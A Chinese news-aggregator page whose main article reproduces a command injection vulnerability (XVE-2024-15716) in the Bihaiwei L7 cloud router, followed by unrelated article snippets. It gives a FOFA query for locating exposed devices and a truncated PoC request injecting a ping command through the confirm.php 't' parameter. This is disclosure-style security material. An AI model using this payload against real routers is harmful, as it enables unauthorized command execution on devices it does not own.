当前位置： 首页 > news >正文

碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

news 2025/12/21 5:24:07

0x01 产品简介

碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持最新HTML5，方便移动设备访问管理，分级别多层次管理模块，使用简单，维护方便;设备状况、网络流量一目了然，一键备份/恢复，让网络管理更简单。是为酒店、度假村、商场和车站等商用无线管理者独身订造的专用网络设备，具备路由、防火墙、流控、无线AC控制器、微信认证等多项功能。

0x02 漏洞概述

碧海威L7 confirm.php、jumper.php接口处存在RCE漏洞，恶意攻击者可能利用此漏洞执行恶意命令，获取服务器敏感信息，最终可能导致服务器失陷。

0x03 影响范围

碧海威科技-L7

0x04 复现环境

FOFA：app="碧海威科技-L7云路由"

0x05 漏洞复现

PoC-1

GET /notice/confirm.php?t=;ping%20fwvjytharz.dgrh3.cn HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows NT

相关文章：

碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

0x01 产品简介 碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持…...

编程日记 2024/7/1 0:04:53

redis实战-添加商户缓存

为什么要使用缓存 言简意赅：速度快，好用缓存数据存储于代码中，而代码运行在内存中，内存的读写性能远高于磁盘，缓存可以大大降低用户访问并发量带来的服务器读写压力实际开发中，企业的数据量，少…...

编程日记 2024/7/1 0:03:52

SQL游标的基本使用方法与示例

SQL游标的基本使用方法与示例 大家好，我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编，也是冬天不穿秋裤，天冷也要风度的程序猿！今天我们来探讨SQL游标的基本使用方法及示例。在数据库编程中，游标是一…...

编程日记 2024/6/30 23:58:47

还不知道工业以太网和现场总线区别???

工业以太网 工业以太网是一种专为工业环境设计的网络通信技术，它基于标准的以太网技术，但针对工业应用进行了优化。工业以太网能够适应高温、低温、防尘等恶劣工业环境，采用TCP/IP协议，与IEEE 802.3标准兼容，并在应用层…...

编程日记 2024/6/30 23:56:46

量化交易 - 策略回测

策略回测 1、什么是策略回测？2、策略回测的作用3、策略回测系统概述3.1策略回测中相关的指标介绍3.2量化交易策略的资金容量3.3 完整的策略回测系统包含哪些内容 1、什么是策略回测？ 策略回测，也称之为策略回溯测试，是指利用交易…...

编程日记 2024/6/30 23:54:43

Java--选择排序

思想 从左向右遍历数组，让每个数组元素依次作为基准，将基准数组扫描一次，若有元素比基准小则标记这个元素，若后续元素存在比此元素更小的，则标记更小的元素，遍历完此次数组之后，交换基准和标记数…...

编程日记 2024/6/30 23:53:42

Python基础之模块和包

文章目录 1 模块和包1.1 模块和包1.1.1 模块1.1.2 包1.1.3 简单使用 1.2 import 语句1.2.1 import1.2.2 from … import 语句1.2.3 from … import * 语句 1.4 深入模块1.4.1 模块符号表1.4.2 __name__属性1.4.3 dir() 函数1.4.4 作用域 1.5 常用内置模块 1 模块和包 1.1 模块…...

编程日记 2024/6/30 23:51:40

基于SpringBoot漫画网站系统设计和实现(源码+LW+调试文档+讲解等)

💗博主介绍：✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者，博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟 感兴趣的可以先收藏起来，…...

编程日记 2024/6/30 23:50:39

Mysql----表的约束

提示：以下是本篇文章正文内容，下面案例可供参考 一、表的约束 表的约束：表中一定要有约束，通过约束让插入表中的数据是符合预期的。它的本质是通过技术手段，让程序员插入正确的数据，约束的最终目标是保证…...

编程日记 2024/6/30 23:48:37

如何用 PHP 实现一个自定义爬虫框架

随着互联网的不断发展，信息量爆炸式增长，获取有价值的信息已经成为了许多人的需求。在这样的大环境下，爬虫技术逐渐兴起，成为了大数据时代的重要工具之一。爬虫技术的应用十分广泛，其可以用于网络舆情监测、数据分析、…...

编程日记 2024/6/30 23:46:34

【机器学习】机器学习的重要方法——强化学习：理论，方法与实践

目录 一、强化学习的核心概念 二、强化学习算法的分类与示例代码 三.强化学习的优势 四.强化学习的应用与挑战 五、总结与展望 强化学习：理论，方法和实践 在人工智能的广阔领域中，强化学习（Reinforcement Learning, RL&…...

编程日记 2024/6/30 23:45:33

Linux磁盘监控思路分析

磁盘监控原理 设备又名I/O设备，泛指计算机系统中除主机以外的所有外部设备。 1.1 计算机分类 1.1.1 按照信息传输速度分： 1.低速设备：每秒传输信息仅几个字节或者百个字节，如：键盘、鼠标等 2.中速设备&#xff1a…...

编程日记 2024/6/30 23:44:32

pc端制作一个顶部固定的菜单栏

效果 hsl颜色 hsl颜色在css中比较方便 https://www.w3school.com.cn/css/css_colors_hsl.asp 色相（hue）是色轮上从 0 到 360 的度数。0 是红色，120 是绿色，240 是蓝色。饱和度（saturation）是一个百分比值…...

编程日记 2024/6/30 23:43:31

ONLYOFFICE 8.1版本桌面编辑器深度体验：创新功能与卓越性能的结合

ONLYOFFICE 8.1版本桌面编辑器深度体验：创新功能与卓越性能的结合 随着数字化办公的日益普及，一款高效、功能丰富的办公软件成为了职场人士的必备工具。ONLYOFFICE团队一直致力于为用户提供全面而先进的办公解决方案。最新推出的ONLYOFFICE 8.1版本桌面编…...

编程日记 2024/6/30 23:42:30

使用Java连接数据库并且执行数据库操作和创建用户登录图形化界面（2）

（1）在student数据库上创建一个用户表tb_account，该表包含用户id，用户名和密码。 字段名称 数据类型 注释 约束 user_id Char(8) 用户id 主键 user_name char(10) 用户名 不能为空 password char(10) 密码 默认值&a…...

编程日记 2024/6/30 23:41:27

socket编程常见操作

1、连接的建立 分为两种：服务端处理接收客户端的连接；服务端作为客户端连接第三方服务 //作为服务端 int listenfd socket(AF_INET, SOCK_STREAM, 0); bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr))) listen(listenfd, 10); //…...

编程日记 2024/6/30 23:39:26

springcloud-config git配置源加载（部署公钥问题）

使用gitUrl作为配置源 gitee 或者github 中有类似于发布密钥的功能，允许通过私钥只读访问指定的仓库，文档中说的是 限制了git的操作为pull 和 clone。生成私钥的方式文档连接在此 https://gitee.com/help/articles/4181#article-header0 spring config只…...

编程日记 2024/6/30 23:38:24

华为OD机考题HJ24 合唱队

前言 应广大同学要求，开始以OD机考题作为练习题，看看算法和数据结构掌握情况。有需要练习的可以关注下。 描述 N 位同学站成一排，音乐老师要请最少的同学出列，使得剩下的 K 位同学排成合唱队形。 设𝐾K位同学从左到…...

编程日记 2024/6/30 23:37:23

基于bootstrap的12种登录注册页面模板

基于bootstrap的12种登录注册页面模板，分三种类型，默认简单的登录和注册，带背景图片的登录和注册，支持弹窗的登录和注册页面html下载。 微信扫码下载...

编程日记 2024/6/30 23:36:22

【劳德巴赫 Trace32 高阶系列 3.1 -- trace32 svf 文件操作与 InitState】

文章目录 SVF InitStateJTAG 状态机JTAG Test-Logic-ResetJTAG Run-Test-IdleSVF InitState Format: JTAG.PROGRAM.SVF <file> [/<option>] <option>: IRPRE <value>IRPOST <value>DRPRE <value>DRPOST <value<...

编程日记 2024/6/30 23:35:21

＜6＞-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

编程新知 2025/12/11 18:28:17

如何在最短时间内提升打ctf（web)的水平？

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

编程新知 2025/12/21 3:27:44

JAVA后端开发——多租户

数据隔离是多租户系统中的核心概念&#xff0c;确保一个租户&#xff08;在这个系统中可能是一个公司或一个独立的客户&#xff09;的数据对其他租户是不可见的。在 RuoYi 框架&#xff08;您当前项目所使用的基础框架&#xff09;中&#xff0c;这通常是通过在数据表中增加一个…...

编程新知 2025/12/18 8:35:12

IP如何挑？2025年海外专线IP如何购买？

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...

编程新知 2025/10/19 9:49:56

算法：模拟

1.替换所有的问号 1576. 替换所有的问号 - 力扣&#xff08;LeetCode&#xff09; ​遍历字符串​&#xff1a;通过外层循环逐一检查每个字符。​遇到 ? 时处理​&#xff1a; 内层循环遍历小写字母&#xff08;a 到 z&#xff09;。对每个字母检查是否满足&#xff1a; ​与…...

编程新知 2025/12/15 3:12:27

PHP 8.5 即将发布：管道操作符、强力调试

前不久&#xff0c;PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5&#xff01;作为 PHP 语言的又一次重要迭代&#xff0c;PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是&#xff0c;借助强大的本地开发环境 ServBay&am…...

编程新知 2025/12/20 22:29:25

django blank 与 null的区别

1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是&#xff0c;要注意以下几点&#xff1a; Django的表单验证与null无关&#xff1a;null参数控制的是数据库层面字段是否可以为NULL&#xff0c;而blank参数控制的是Django表单验证时字…...

编程新知 2025/7/7 3:34:13

嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程（6.3）

目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 ​编辑​编辑 UDP的特征 socke函数 bind函数 recvfrom函数&#xff08;接收函数&#xff09; sendto函数&#xff08;发送函数&#xff09; 五、网络编程之 UDP 用…...

编程新知 2025/12/11 21:43:10

微服务通信安全：深入解析mTLS的原理与实践

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言&#xff1a;微服务时代的通信安全挑战 随着云原生和微服务架构的普及&#xff0c;服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...

编程新知 2025/12/14 16:22:05

规则与人性的天平——由高考迟到事件引发的思考

当那位身着校服的考生在考场关闭1分钟后狂奔而至&#xff0c;他涨红的脸上写满绝望。铁门内秒针划过的弧度&#xff0c;成为改变人生的残酷抛物线。家长声嘶力竭的哀求与考务人员机械的"这是规定"&#xff0c;构成当代中国教育最尖锐的隐喻。 一、刚性规则的必要性 …...

编程新知 2025/10/6 19:47:32